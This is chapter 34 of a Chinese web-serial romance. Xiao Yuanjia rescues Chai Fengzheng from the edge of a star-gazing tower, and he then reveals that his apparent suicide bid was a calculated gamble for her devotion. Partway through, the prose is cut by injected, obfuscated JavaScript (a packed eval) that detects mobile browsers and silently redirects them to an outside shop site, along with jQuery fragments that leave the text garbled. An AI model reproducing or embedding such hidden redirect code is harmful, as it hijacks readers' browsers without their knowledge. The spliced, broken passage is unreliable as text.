34. 34
    ###萧元嘉心中警铃大作,一把将第二本奏折收进怀里,也不顾折叠整齐的奏折已被压出皱折。

    她深深提了一口气,一步也不再停下的直冲上楼,直到摘星台的下一层。

    她下意识的停下脚步。她已经感觉到上面一层还有活人的气息,可是脚上犹如绑了千斤巨石,竟是提不起步子来。

    我这是在做什么?

    问题蹿进脑中,萧元嘉不禁失笑:

    不是早就已经决定好了么?

    往上一层的摘星台上,还有一个人需要她去拯救。

    不是单纯的拯救他的性命。甚至不止是十一年前救下小奴隶那样,用她的举手之劳拯救了他未来的人生。

    她这一救,便是义无反顾的把自己的一生搭进去了。

    她害怕把自己搭进去别人的人生里。

    可是,她更害怕失去重要东西的那种可能,更害怕除夕一别便是自此生死两茫茫。

    就在她义无反顾地对皇后提出她要面圣的那一刻,她在心里已经作出了选择。

    萧元嘉咬咬牙,目光紧紧的直视前方,走上了最高一层的摘星台。

    再等等我。

    天上下着毛毛细雨,摘星台边上的人却已是全身湿透,本来飘逸的衣裳湿湿的贴在肤上,不知已经在雨中站了多久。

    他往上伸长手臂,遥遥虚指天上繁星,仿若建造这座摘星楼的那位大匠皇帝一般,想要做最离这满天星斗最近的人,却无论他能站得多高,离粉身碎骨堕地为尘的可能也还是远远比触碰到遥不可及的天上星宿为高。

    就像他那丑陋卑劣的心里所肖想的,便是那遥不可及的星辰;而他正站在离坠下楼去只有一步之遥的地方,用自己拥有的一切——包括他这条没有人会珍惜的贱命——来押上注码,去作一场豪赌。

    听见身后有人上来的脚步声,他头也不回,伸出去的手慢慢收回,脚下沿着和堕楼只有半步之遥的摘星台边缘来回踱步,动作洒脱而徐徐不急,仿佛无论是生或死,于他而言一点也不重要。

    “陛下可看了臣放在桌上的折子?”

    “臣知道,陛下根本不想臣活在这个世上。只上碍于明君之名,还不知道该如何处理所谓的手足兄弟罢了,就像还在牢里苟活着的柴旭晖一样。”

    “不过没关系,”他脚步一顿,负手而立,轻轻一笑:“只要陛下应了臣的最后一个请求,臣绝不让陛下难做。”

    要说的话已经说完,他合上嘴巴,默然而立等待身后之人的回应。

    “两份奏折,我都看了。”

    良久,萧元嘉终于开口。

    柴奉征明显一怔,还没反应过来,已有一条长鞭缠上腰身,一下把拽倒在地,在他还没开始挣扎之前,已被从边缘拉回,四肢朝天的躺在高台中心。

    入目的是从上而下俯视自己的绝美怒容。

    雨势转大,一片一片的打在她的发顶、肩头、贴身的窄袖骑服上。

    她居高临下的看着他,阴影让她的怒容更加骇人,却同时在为他遮风挡雨。

    她的脸上,满是恨其不争的怒气,却也带着一股连萧元嘉自己也没有发现的、有些肖似长公主的悲悯。

    ——为什么这么轻易的便能放弃生命?为什么不愿意去相信不是天下间的所有人,对他都全是怀有恶意?

    就算别的所有人都不希望他活着,她也不能让他从这个世间消失。

    因为他的主人,同样地需要她的小狗。

    “……柴奉征。”

    每一次萧元嘉连名带姓的唤他,都是她不高兴了,不愿陪他沉醉缅怀于回不去的过往。这个名字,也代表着他成长过程中的不幸、天家那些所谓亲人的恶意,和永远也求不得的真心亲情。

    他每一次听见这个名字从她口中唤出,心下都是一沉,唯恐自己做了什么在她眼中是错了的东西。

    这一次,却是泪水不受控的汹涌而出,自欺欺人似的混在雨水之中,在朦胧的水气之中,他终于看清了她此刻的脸容。

    不再怒其不争,也没有悲天悯人。

    只有失而复得的欢喜。

    然后她弯下腰来,勾起他的下巴,捧住了那一张脸。

    ×

    曾经用重重冰墙把自己围困起来的人,眼神也有炽热得可以把万年冰川融化的一日。

    两人对视了不知多久,柴奉征心中有愧,率先败下阵来,垂下眼帘:“对不起。”

    萧元嘉的声音沉沉的,听不出太多的感情,却带着一股浓浓的鼻音:“明知道对不起我,为何还要这么做?”

    他勉力抬起已经湿得有些皱皮的手,试探似的、小心翼翼的环住她的脖子。

    “我没有……”他轻轻启唇,说出的话是这么的无力,连自己也难以相信。

    他深深吸了一口气。“我不是想要从这里跳下去。”

    萧元嘉任由他战战兢兢的抱着,一手轻轻拨弄他鬓边湿透的长发:“这么拙劣的谎言,你是想要我相信呢,还是不信?”

    柴奉征不敢看她,嘴上只是重复:“我上来不是寻死。”

    “只是为了让我那位好兄长跟着上来罢了。”

    “然后呢?”萧元嘉凑得更近,他清楚地看见了她眼帘上的水珠。

    火逢水即灭,水珠挂在她长长的羽睫上,却没有熄掉眸中的熊熊火光。这是柴奉征见过,最为惊艳绝伦的美。

    她的声音微哑:“用你不惜一切保了二十二年的命来和陛下交涉,换我重新掌军?”

    由除夕到现在并没有过了多久,他却感觉他们两人像这样近距离的身体接触,已是恍若隔世。

    他不仅想念这样的距离。

    他还想要更多。

    环在她脖颈上的双手微微收紧,引得她秀眉一蹙,柴奉征抬眸直视着她炽烈的双目,轻轻呢喃:“我的人生本来就是一个谎言。”

    “父亲的另眼相看,继母视如己出的怜惜,诸位兄长的友爱,甚至连同胞长兄的相依为命,都不过是所有人为我编织的一个谎言,一个我一头陷了进去的谎言罢了。”

    “然后阴差阳错,我死不了,就学会了绝境求生,学会了怎样从你身上,得到我想要的。可是……柴旭晖再是该死,有一句话还是说得很对,我配不上你。”

    “但我最肮脏卑贱的不是我的出身,而是我那些见不得光的小心思。就像你说过的,我们……不该这样。”他低低一笑,笑声是豁出一切的轻狂,却也带着一丝化不开的无奈。“你是风光霁月的女将军,不应该被困于京中,困于这些天家世家之争的龌龊政治里。”

    “我只有这副还能取悦到你的皮囊,每一次当我感觉到你在离我而去,便用它来把你留下。但你不值得被我这样下贱的算计、欺骗。”

    “所以我只能用我仅剩的生命,换你应得的自由。”

    “什么时候决定这么做的?”萧元嘉哑声问

    。

    他张了张口,欲言又止。

    她轻轻一笑,笑意晦暗不明:“除夕宫宴,说要结束关系的时候?”

    “还是更早的时候……在冬至之后,你让道明赶回荆州,设计出这荆州流民一局,便已决定好了?”

    她什么都知道。柴奉征垂眸,羞愧的不敢看她。

    我爱你。

    我的主人。

    就算你并不会像我爱你一样的爱我。

    这是他一直以来都没有说出口的话。萧元嘉也没有给他说出口的机会。

    萧元嘉低下一向高昂的头。

    然后堵住了他喋喋不休的唇舌。

    浅尝辄止的一吻,唇瓣分开的时候他才反应过来,呆呆的抚着自己的双唇,仿佛要靠手上触到的余温来证明这一吻的确存在过。

    “跟我回家。”

    她没有回应他的一番自白。一下浅吻,一句简单不过的命令,却已胜过千言万语。

    她拉他起来,然后松开了绑在他腰间的软鞭。

    柴奉征挣扎着站直身子,忽地一下头昏目眩,软软的趴倒在她还未收回的双臂之间。

    ×

    他的眼前只剩一片黑暗。

    只记得在陷入黑暗之前,跌落了和自己一样又湿又冷,却没有比它更为柔软的怀抱。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12836598|129139||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>主人要带他回家……

    所以,他是赌赢了么?

    ×

    柴奉征知道,他的主人并不抗拒他。

    她甚至喜欢他,所以在经历巨变后,她在筑起那道抗拒所有人的高墙时,还是为他留了一个小小的狗洞。

    也是他甘愿低头,放下尊严四肢着地的从狗洞中钻过去,高墙之内才会有他的一席之地。

    可是,主人可以有很多个家奴,奴隶却永远也只能有一个主人。大概在陈子安开始在她的面前晃悠之后,他才终于开始意识到,有些人本来就比自己更适合站在她的身边。

    他用他的过去来换得她的怜悯,但别人也有和她独特的共同回忆,自己并不特别。他用空洞的身躯留住她一晚又一晚,可是在这座皮囊之下,那颗腐朽入骨的心,光风霁月如小萧将军又可会要?

    主人说,她不喜欢不听话的人。他知道自己听她的话换得来她的喜欢,但他也知道自己贪心得很。

    他要的,是独一无二。哪怕主人与奴的关系并不平等,哪怕她的喜欢和自己的爱并不对等。只有一段真正独一无二的关系,才能平息他躁动不安的心,给他穷极一生也只想要的一样东西。

    那就……破而后立吧?

    死的尽头便是生,这是她在覆舟山上的温泉池畔,亲手给他体验过的。

    那时她说:信我。他把自己珍而重之的生命交托在她手中,而她掌控着他的生死,却把濒死的他拉了回来。

    自此,柴奉征便知道,萧元嘉绝对不会让他死。

    所以,他用自己费尽心思不择手段保了一世的小命,来作这一场豪赌。

    一场在萧元嘉眼中,是与皇帝对赌的赌局。

    他首先借着自己对陈子安的嫉妒与萧元嘉断绝关系,让天子看到他不念旧情的狠心,以及破釜沉舟的决心。

    然后他像决意自我毁灭般私自调兵,把当年将他掳出宫外、贩卖为奴的李阀连根拔起,一举报仇之余还公然和他的皇兄叫板,仿佛是在赌柴兆言的最后一丝亲情和善念,继而终于解决所有可能会取他性命的因素,一了百了的保住性命。

    要是失败,大不了便是一个死字。

    可是他知道,萧元嘉会把他从溺死边缘,再一次的拉回岸上。

    所以他真正在赌的,是萧元嘉的心。

    他先把她推开,做出孤注一掷的样子——虽然他也的确是在孤注一掷。

    他说,我们结束吧。

    他在她的眼底看到不舍,但她还是轻易的便放弃了。她已经学会了随遇而安,而他萧璞也不过是她漫漫人生路上的际遇之一而已。

    他说,我不想再痛苦下去了。

    ——我很痛苦。可不可以,怜怜我,救救我。

    她凌厉的目光注视着他,一字一顿的说:“你最好想清楚才说。”

    他想得很清楚,没有什么比失而复得更加珍贵。

    就像他求生的意志一样。

    所以他得先把现有的关系彻底粉碎,让她重新认识从前他藏着掖着不敢让她看见的、真实的自己。

    把那颗肮脏丑陋、残缺不全的心一点一点的剖开给她看,让她直面他的累累伤痕。

    主人你看,阿璞这副残躯多么卑劣、微贱,配不上你。

    可是,你不会真的不要我的,对吗?

    他用自毁自弃的方式,不是为了对付对他怀着愧疚、他却未曾原谅的兄长。他贪心,他想要的比这更多。

    他被柴兆言留在宫中不给处置,陈衍陈子安的不安以致向萧元嘉通风报信,甚至她为寻自己而进到宫来,从皇后口中得知自己被关在了摘星楼,统统都在他的计划之中。

    萧元嘉最初的洒脱,到得知他的自毁倾向后的担忧,直到亲眼看见他给她看的两份奏折时的惊惶和对于将要失去他的恐惧与不舍,也全部都在他的预算以内。

    她毫不犹豫地拉住了他,然后走向了他。不再是他单方面的在暗夜爬行,追着她的裙摆,等待她悲悯的赐下一个回眸。

    他的主人,没有让他血本无归。

    他押上所有,终于赌赢了。